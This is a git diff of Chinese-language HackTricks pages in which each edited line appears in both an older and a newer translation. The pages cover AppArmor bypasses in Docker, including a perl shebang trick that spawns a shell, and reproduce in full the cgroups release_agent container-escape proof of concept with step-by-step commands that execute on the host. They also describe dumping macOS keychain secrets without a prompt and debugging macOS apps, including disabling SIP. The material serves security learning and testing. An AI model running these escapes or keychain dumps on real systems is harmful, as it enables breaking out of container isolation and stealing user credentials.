要列出配置文件,我们可以执行以下命令。下面的命令正在列出我的新AppArmor配置文件。
|
||||
要列出配置文件,我们可以执行以下命令。下面的命令列出了我的新 AppArmor 配置文件。
|
||||
```
|
||||
$ sudo apparmor_status | grep mydocker
|
||||
mydocker
|
||||
```
|
||||
如下所示,在尝试更改“/etc/”时,由于AppArmor配置文件阻止对“/etc”的写访问,因此会出现错误。
|
||||
如下面所示,当尝试更改“/etc/”时,我们会遇到错误,因为 AppArmor 配置文件阻止对“/etc”的写入访问。
|
||||
```
|
||||
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
|
||||
chmod: /etc/hostname: Permission denied
|
||||
```
|
||||
### AppArmor Docker Bypass1
|
||||
|
||||
您可以使用以下命令查找运行容器的 **AppArmor配置文件**:
|
||||
您可以使用以下命令查找**正在运行容器的 apparmor 配置文件**:
|
||||
```bash
|
||||
docker inspect 9d622d73a614 | grep lowpriv
|
||||
"AppArmorProfile": "lowpriv",
|
||||
|
@ -263,13 +249,15 @@ docker inspect 9d622d73a614 | grep lowpriv
|
|||
```bash
|
||||
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
|
||||
```
|
||||
在奇怪的情况下,你可以**修改 apparmor docker 配置文件并重新加载它。** 你可以移除限制并“绕过”它们。
|
||||
|
||||
### AppArmor Docker Bypass2
|
||||
|
||||
**AppArmor是基于路径的**,这意味着即使它可能会**保护**目录内的文件,比如**`/proc`**,如果你可以**配置容器的运行方式**,你可以**挂载**主机的proc目录到**`/host/proc`**,这样它就**不再受AppArmor保护**了。
|
||||
**AppArmor 是基于路径的,** 这意味着即使它可能在保护像 **`/proc`** 这样的目录中的文件,如果你可以**配置容器的运行方式,** 你可以**挂载**主机的 proc 目录到 **`/host/proc`**,并且它**将不再受到 AppArmor 的保护**。
|
||||
|
||||
### AppArmor Shebang Bypass
|
||||
|
||||
在[**这个漏洞**](https://bugs.launchpad.net/apparmor/+bug/1911431)中,你可以看到一个例子,即使你正在阻止perl使用某些资源运行,如果你只是创建一个shell脚本,在第一行**指定**`#!/usr/bin/perl`,然后**直接执行该文件**,你就可以执行任何你想要的东西。例如:
|
||||
在 [**这个漏洞**](https://bugs.launchpad.net/apparmor/+bug/1911431) 中,你可以看到一个例子,说明**即使你阻止 perl 使用某些资源运行,** 如果你只需创建一个 shell 脚本**在第一行指定** **`#!/usr/bin/perl`** 并且你**直接执行该文件,** 你将能够执行你想要的任何内容。例如:
|
||||
```perl
|
||||
echo '#!/usr/bin/perl
|
||||
use POSIX qw(strftime);
|
||||
|
@ -279,29 +267,17 @@ exec "/bin/sh"' > /tmp/test.pl
|
|||
chmod +x /tmp/test.pl
|
||||
/tmp/test.pl
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**推动的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**损害**。
|
||||
|
||||
WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 上关注我们 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,37 +1,24 @@
|
|||
# Docker release_agent cgroups escape
|
||||
# Docker release\_agent cgroups escape
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github仓库提交PR来分享黑客技巧。**
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
**有关更多详细信息,请参阅** [**原始博客文章**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** 这只是一个摘要:
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
|
||||
|
||||
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
**有关更多详细信息,请参阅** [**原始博客文章**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**。**这只是一个摘要:
|
||||
|
||||
原始PoC:
|
||||
原始 PoC:
|
||||
```shell
|
||||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||||
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
||||
|
@ -39,63 +26,51 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
|||
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
||||
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
||||
```
|
||||
### 概念验证(PoC)演示了一种利用 cgroups 的方法,通过创建 `release_agent` 文件并触发其调用,在容器主机上执行任意命令。以下是涉及的步骤详细说明:
|
||||
The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved:
|
||||
|
||||
1. **准备环境:**
|
||||
* 创建一个目录 `/tmp/cgrp` 作为 cgroup 的挂载点。
|
||||
* 将 RDMA cgroup 控制器挂载到此目录。如果缺少 RDMA 控制器,建议使用 `memory` cgroup 控制器作为替代方案。
|
||||
* 创建一个目录 `/tmp/cgrp` 作为 cgroup 的挂载点。
|
||||
* 将 RDMA cgroup 控制器挂载到该目录。如果 RDMA 控制器不存在,建议使用 `memory` cgroup 控制器作为替代。
|
||||
```shell
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
```
|
||||
2. **设置子Cgroup:**
|
||||
* 在挂载的cgroup目录中创建一个名为"x"的子cgroup。
|
||||
* 通过向其notify\_on\_release文件写入1,为"x" cgroup启用通知。
|
||||
2. **设置子 Cgroup:**
|
||||
* 在挂载的 cgroup 目录中创建一个名为 "x" 的子 cgroup。
|
||||
* 通过向其 notify\_on\_release 文件写入 1 来启用 "x" cgroup 的通知。
|
||||
```shell
|
||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
```
|
||||
3. **配置释放代理:**
|
||||
* 从 /etc/mtab 文件中获取容器在主机上的路径。
|
||||
* 然后配置 cgroup 的 release\_agent 文件,以执行位于获取的主机路径上的名为 /cmd 的脚本。
|
||||
3. **配置释放代理:**
|
||||
* 从 /etc/mtab 文件中获取主机上容器的路径。
|
||||
* 然后将 cgroup 的 release\_agent 文件配置为执行位于获取的主机路径上的名为 /cmd 的脚本。
|
||||
```shell
|
||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
```
|
||||
4. **创建和配置/cmd脚本:**
|
||||
* 在容器内创建/cmd脚本,并配置其执行ps aux命令,将输出重定向到容器中名为/output的文件。指定主机上/output的完整路径。
|
||||
4. **创建和配置 /cmd 脚本:**
|
||||
* /cmd 脚本在容器内创建,并配置为执行 ps aux,将输出重定向到容器中的一个名为 /output 的文件。指定了主机上 /output 的完整路径。
|
||||
```shell
|
||||
echo '#!/bin/sh' > /cmd
|
||||
echo "ps aux > $host_path/output" >> /cmd
|
||||
chmod a+x /cmd
|
||||
```
|
||||
5. **触发攻击:**
|
||||
* 在"x"子cgroup中启动一个进程,然后立即终止。
|
||||
* 这将触发`release_agent`(即/cmd脚本),该脚本在主机上执行ps aux命令,并将输出写入容器内的/output。
|
||||
5. **触发攻击:**
|
||||
* 在“x”子cgroup中启动一个进程,并立即终止。
|
||||
* 这会触发`release_agent`(/cmd脚本),该脚本在主机上执行ps aux,并将输出写入容器中的/output。
|
||||
```shell
|
||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,49 +15,36 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 主要钥匙串
|
||||
|
||||
* **用户钥匙串** (`~/Library/Keychains/login.keycahin-db`),用于存储 **用户特定凭据**,如应用程序密码、互联网密码、用户生成的证书、网络密码和用户生成的公钥/私钥。
|
||||
* **用户钥匙串** (`~/Library/Keychains/login.keycahin-db`),用于存储 **用户特定的凭据**,如应用程序密码、互联网密码、用户生成的证书、网络密码和用户生成的公钥/私钥。
|
||||
* **系统钥匙串** (`/Library/Keychains/System.keychain`),存储 **系统范围的凭据**,如 WiFi 密码、系统根证书、系统私钥和系统应用程序密码。
|
||||
|
||||
### 密码钥匙串访问
|
||||
|
||||
这些文件虽然没有固有保护且可以被 **下载**,但它们是加密的,需要 **用户的明文密码进行解密**。可以使用像 [**Chainbreaker**](https://github.com/n0fate/chainbreaker) 这样的工具进行解密。
|
||||
这些文件虽然没有固有的保护并且可以被 **下载**,但它们是加密的,需要 **用户的明文密码进行解密**。可以使用像 [**Chainbreaker**](https://github.com/n0fate/chainbreaker) 这样的工具进行解密。
|
||||
|
||||
## 钥匙串条目保护
|
||||
|
||||
### ACLs
|
||||
|
||||
钥匙串中的每个条目都受 **访问控制列表 (ACLs)** 的管理,规定谁可以对钥匙串条目执行各种操作,包括:
|
||||
钥匙串中的每个条目都受 **访问控制列表 (ACLs)** 的管理,规定了谁可以对钥匙串条目执行各种操作,包括:
|
||||
|
||||
* **ACLAuhtorizationExportClear**:允许持有者获取秘密的明文。
|
||||
* **ACLAuhtorizationExportWrapped**:允许持有者获取用另一个提供的密码加密的明文。
|
||||
* **ACLAuhtorizationAny**:允许持有者执行任何操作。
|
||||
|
||||
ACLs 还附带一个 **受信任应用程序列表**,可以在不提示的情况下执行这些操作。可能是:
|
||||
ACLs 还附带一个 **受信任应用程序列表**,可以在不提示的情况下执行这些操作。这可能是:
|
||||
|
||||
* **N`il`**(不需要授权,**所有人都被信任**)
|
||||
* 一个 **空** 列表(**没有人**被信任)
|
||||
* **特定应用程序** 的 **列表**。
|
||||
|
||||
条目还可能包含键 **`ACLAuthorizationPartitionID`**,用于识别 **teamid、apple** 和 **cdhash**。
|
||||
此外,条目可能包含键 **`ACLAuthorizationPartitionID`,** 用于识别 **teamid、apple** 和 **cdhash**。
|
||||
|
||||
* 如果指定了 **teamid**,则为了在 **不提示** 的情况下 **访问条目** 值,使用的应用程序必须具有 **相同的 teamid**。
|
||||
* 如果指定了 **apple**,则应用程序需要由 **Apple** **签名**。
|
||||
* 如果指定了 **teamid**,则为了 **在不提示的情况下访问条目** 值,使用的应用程序必须具有 **相同的 teamid**。
|
||||
* 如果指定了 **apple**,则应用程序需要由 **Apple** 签名。
|
||||
* 如果指明了 **cdhash**,则 **应用程序** 必须具有特定的 **cdhash**。
|
||||
|
||||
### 创建钥匙串条目
|
||||
|
@ -100,7 +87,7 @@ security dump-keychain ~/Library/Keychains/login.keychain-db
|
|||
### APIs
|
||||
|
||||
{% hint style="success" %}
|
||||
**密钥链枚举和秘密转储**可以使用工具[**LockSmith**](https://github.com/its-a-feature/LockSmith)进行,这不会生成提示。
|
||||
**密钥链枚举和秘密转储**可以使用工具[**LockSmith**](https://github.com/its-a-feature/LockSmith)进行,这**不会生成提示**。
|
||||
{% endhint %}
|
||||
|
||||
列出并获取每个密钥链条目的**信息**:
|
||||
|
@ -128,7 +115,7 @@ security dump-keychain ~/Library/Keychains/login.keychain-db
|
|||
|
||||
这些是能够**在没有提示的情况下导出秘密**的**要求**:
|
||||
|
||||
* 如果列出了**1个或多个受信任**的应用程序:
|
||||
* 如果**列出1个以上的受信任**应用程序:
|
||||
* 需要适当的**授权**(**`Nil`**,或是**允许**访问秘密信息的应用程序列表的一部分)
|
||||
* 需要代码签名与**PartitionID**匹配
|
||||
* 需要代码签名与一个**受信任的应用程序**的匹配(或是正确的KeychainAccessGroup的成员)
|
||||
|
@ -138,14 +125,14 @@ security dump-keychain ~/Library/Keychains/login.keychain-db
|
|||
* 如果**没有PartitionID**,则不需要此项
|
||||
|
||||
{% hint style="danger" %}
|
||||
因此,如果列出了**1个应用程序**,您需要**在该应用程序中注入代码**。
|
||||
因此,如果**列出1个应用程序**,您需要**在该应用程序中注入代码**。
|
||||
|
||||
如果**apple**在**partitionID**中被指示,您可以使用**`osascript`**访问它,因此任何信任所有应用程序且在partitionID中包含apple的内容。**`Python`**也可以用于此。
|
||||
{% endhint %}
|
||||
|
||||
### 两个额外属性
|
||||
|
||||
* **隐形**:这是一个布尔标志,用于**隐藏**密钥链应用程序中的条目
|
||||
* **隐形**:这是一个布尔标志,用于**隐藏**密钥链条目在**UI**密钥链应用程序中
|
||||
* **通用**:用于存储**元数据**(因此它不是加密的)
|
||||
* 微软以明文存储所有访问敏感端点的刷新令牌。
|
||||
|
||||
|
@ -153,17 +140,6 @@ security dump-keychain ~/Library/Keychains/login.keychain-db
|
|||
|
||||
* [**#OBTS v5.0: "Lock Picking the macOS Keychain" - Cody Thomas**](https://www.youtube.com/watch?v=jKE1ZW33JpY)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)是一个**暗网**驱动的搜索引擎,提供**免费**功能以检查公司或其客户是否被**窃取恶意软件****入侵**。
|
||||
|
||||
WhiteIntel的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践AWS黑客攻击:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -174,7 +150,7 @@ WhiteIntel的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
<summary>支持HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们在**Twitter**上的**🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# macOS 应用 - 检查、调试和模糊测试
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,19 +15,6 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 静态分析
|
||||
|
||||
|
@ -78,7 +65,7 @@ ARCH=x86_64 jtool2 --sig /System/Applications/Automator.app/Contents/MacOS/Autom
|
|||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
**jtool已被disarm取代**
|
||||
**jtool 已被 disarm 取代**
|
||||
{% endhint %}
|
||||
|
||||
### 代码签名 / ldid
|
||||
|
@ -119,7 +106,7 @@ ldid -S/tmp/entl.xml <binary>
|
|||
|
||||
### hdiutil
|
||||
|
||||
此工具允许 **挂载** Apple 磁盘映像(**.dmg**)文件,以便在运行任何内容之前进行检查:
|
||||
此工具允许 **挂载** Apple 磁盘映像 (**.dmg**) 文件,以便在运行任何内容之前进行检查:
|
||||
```bash
|
||||
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
|
||||
```
|
||||
|
@ -154,11 +141,11 @@ It will be mounted in `/Volumes`
|
|||
|
||||
该函数期望的参数是:
|
||||
|
||||
* 第一个参数 (**self**) 是“指向 **接收消息的类实例的指针**”。更简单地说,它是正在调用该方法的对象。如果该方法是类方法,则这是类对象的一个实例(作为整体),而对于实例方法,self 将指向类的一个实例化对象。
|
||||
* 第一个参数 (**self**) 是“指向 **接收消息的类实例的指针**”。更简单地说,它是正在调用该方法的对象。如果该方法是类方法,则这是类对象的一个实例(整体),而对于实例方法,self 将指向类的一个实例化对象。
|
||||
* 第二个参数 (**op**) 是“处理消息的方法选择器”。同样,更简单地说,这只是 **方法的名称**。
|
||||
* 剩余的参数是方法所需的任何 **值**(op)。
|
||||
|
||||
请参见如何在此页面中 **使用 `lldb` 在 ARM64 中轻松获取此信息**:
|
||||
请参见如何在 ARM64 中 **轻松获取此信息,使用 `lldb`**:
|
||||
|
||||
{% content-ref url="arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](arm64-basic-assembly.md)
|
||||
|
@ -225,7 +212,7 @@ Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
|
|||
```
|
||||
您可以在[**此博客文章中找到有关这些部分存储的信息**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)。
|
||||
|
||||
此外,**Swift 二进制文件可能具有符号**(例如,库需要存储符号以便可以调用其函数)。**符号通常以丑陋的方式包含有关函数名称和属性的信息**,因此它们非常有用,并且有“**去混淆器**”可以获取原始名称:
|
||||
此外,**Swift 二进制文件可能具有符号**(例如,库需要存储符号,以便可以调用其函数)。**符号通常以丑陋的方式包含有关函数名称和属性的信息**,因此它们非常有用,并且有“**去混淆器**”可以获取原始名称:
|
||||
```bash
|
||||
# Ghidra plugin
|
||||
https://github.com/ghidraninja/ghidra_scripts/blob/master/swift_demangler.py
|
||||
|
@ -236,7 +223,7 @@ swift demangle
|
|||
## 动态分析
|
||||
|
||||
{% hint style="warning" %}
|
||||
请注意,为了调试二进制文件,**需要禁用 SIP**(`csrutil disable` 或 `csrutil enable --without debug`),或者将二进制文件复制到临时文件夹并**移除签名**(使用 `codesign --remove-signature <binary-path>`),或者允许调试该二进制文件(您可以使用 [这个脚本](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))。
|
||||
请注意,为了调试二进制文件,**需要禁用 SIP**(`csrutil disable` 或 `csrutil enable --without debug`),或者将二进制文件复制到临时文件夹并**移除签名**(`codesign --remove-signature <binary-path>`),或者允许调试该二进制文件(您可以使用[这个脚本](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b))。
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
|
@ -252,13 +239,13 @@ macOS 暴露了一些有趣的 API,提供有关进程的信息:
|
|||
|
||||
### Stackshot & microstackshots
|
||||
|
||||
**Stackshotting** 是一种用于捕获进程状态的技术,包括所有运行线程的调用栈。这对于调试、性能分析以及在特定时间点理解系统行为特别有用。在 iOS 和 macOS 上,可以使用多种工具和方法进行 stackshotting,例如工具 **`sample`** 和 **`spindump`**。
|
||||
**Stackshotting** 是一种用于捕获进程状态的技术,包括所有运行线程的调用栈。这对于调试、性能分析和理解系统在特定时间点的行为特别有用。在 iOS 和 macOS 上,可以使用多种工具和方法进行 stackshotting,例如工具 **`sample`** 和 **`spindump`**。
|
||||
|
||||
### Sysdiagnose
|
||||
|
||||
该工具(`/usr/bini/ysdiagnose`)基本上从您的计算机收集大量信息,执行数十个不同的命令,如 `ps`、`zprint`...
|
||||
该工具(`/usr/bini/ysdiagnose`)基本上从您的计算机收集大量信息,执行数十个不同的命令,例如 `ps`、`zprint`...
|
||||
|
||||
它必须以 **root** 身份运行,守护进程 `/usr/libexec/sysdiagnosed` 具有非常有趣的权限,如 `com.apple.system-task-ports` 和 `get-task-allow`。
|
||||
它必须以 **root** 身份运行,守护进程 `/usr/libexec/sysdiagnosed` 具有非常有趣的权限,例如 `com.apple.system-task-ports` 和 `get-task-allow`。
|
||||
|
||||
